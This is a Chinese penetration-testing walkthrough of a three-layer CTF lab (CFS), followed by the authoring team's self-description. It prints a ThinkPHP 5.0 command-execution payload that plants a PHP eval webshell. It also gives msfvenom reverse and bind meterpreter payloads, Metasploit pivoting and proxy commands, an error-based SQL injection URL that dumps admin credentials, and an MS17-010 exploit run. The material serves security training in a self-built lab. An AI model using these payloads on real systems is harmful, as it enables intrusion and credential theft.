CFS靶机就是三层靶机的内网渗透,通过一层一层的渗透,获取每个靶机的shell或flag,经常用于CTF比赛,不过这个靶机确实非常接近实战。
绘制一个CFS三层的拓扑图,kali虚拟机设置到桥接网络,攻击网段在172.16.111.0,三台靶机的配置分别如下图所示。
现在开始搭建靶机,虚拟机的网络布局如下图所示。
对靶机进行配置,kali直接配置到VMnet1桥接网络上就行。
target1的配置如下,网卡一桥接到外网,网卡二连接到192.168.22.0/24网段。
target2的配置如下,网卡一连接到192.168.22.0/24网段,网卡二连接到192.168.33.0/24网段。
target3的配置如下,网卡一直接连接到192.168.33.0/24网段。
这样配置完毕后,kali能ping通target1,target1能ping通target2,target2能ping通target3,三层内网搭建完成后,开始渗透之旅。
使用namp对target1进行扫描端口;
访问一下80端口。
网站使用thinkphp搭建的,版本为5.0,想到该版本下有个命令执行漏洞,使用poc进行测试,返回phpinfo成功,该版本存在漏洞。
http://172.16.111.194/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
直接使用poc写入shell文件。
http://172.16.111.194/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=system("echo '<?php @eval($_POST[1]);?>' > shell.php");
写入完成后,访问一下是否成功。
使用蚁剑连接,连接成功。
制作后门传入target1
[email protected]:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.111.3 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf
使用msf进行监听,执行shell查看查看网络配置,发现第二个网段,192.168.22.128/24
msf5 > msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcppayload => linux/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 0.0.0.0 lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 6666 lport => 6666 msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run
meterpreter > shell
向msfconsole添加第二层路由:
run autoroute -s 192.168.22.0/24 run autoroute -p
利用msf进行第二层网络存活主机扫描:
msf5 exploit(multi/handler) > use auxiliary/scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > options
msf5 auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.22.0/2
msf5 auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.22.0/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set threads 20
msf5 auxiliary(scanner/discovery/arp_sweep) > run
扫描到192.168.22.128网段,在msf中添加代理,以便连接到target2。
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 2222
msf5 auxiliary(server/socks4a) > options
msf5 auxiliary(server/socks4a) > run
利用msf搭建socks代理,好让kali直接打第二层网络:
修改proxychains的配置文件;
vim /etc/proxychains.conf
添加sicks4 172.16.111.3 2222。
使用nmap进行扫描端口:
proxychains nmap -Pn -sT 192.168.22.128 -p1-1000
发现80端口,挂代理访问一下,访问成功,查看源码时,发现有提示注入点。
使用sqlmap进行注入。测试一下注入,加个单引号报错,为报错注入。
进行手工注入,报表名。
报出用户名密码解密得admin,123qwe,完整密码是这个 46f94c8de14fb36680850768ff1b7f2a,一开始没有报全,又改的后面的参数才报全的。
http://192.168.22.129/index.php?r=vul&keyword=1%20%27%20and%20updatexml(1,concat(0x7e,substr((select%20concat(username,0x7e,password)%20from%20bagecms.bage_admin),1,32),0x7e),1)--+
使用御剑扫描了一下目录,在tobots.txt找到后台页面。
直接在index.php写入一句话发现写入成功。
使用sockscap代理打开蚁剑连接shell。
成功拿取target2的shell。
蚁剑中看到是linux64位系统,在msf上生成后门,并上传更改权限为777,使用msf连接。
在MSF中开启EXP,与Target2建立连接,这里需要注意,上一次代理使用的reversetcp是MSF作为监听,让Target1连到我们,而这次代理使用的bindtcp是Target2作为监听,我们需要连到Target2。使用proxychains打开msf。
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o test.elf
use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.22.129
扫描到192.168.33.0的网段。
添加网段。
meterpreter > run autoroute -s 192.168.33.0/24
meterpreter > run autoroute -p
添加代理。
使用代理扫描端口。
扫描到445端口,使用永恒之蓝测试。
msf5 auxiliary(server/socks4a) > use exploit/windows/smb/ms17_010_PSEXEC
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.33.129
msf5 exploit(windows/smb/ms17_010_psexec) > options
msf5 exploit(windows/smb/ms17_010_psexec) > run
成功。到此靶机全部打通。
现在三台靶机都已经拿到shell了,靶机中还有flag,有兴趣的小伙伴可以去试试找一找。
参考链接:https://www.anquanke.com/post/id/164525#h3-1
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们。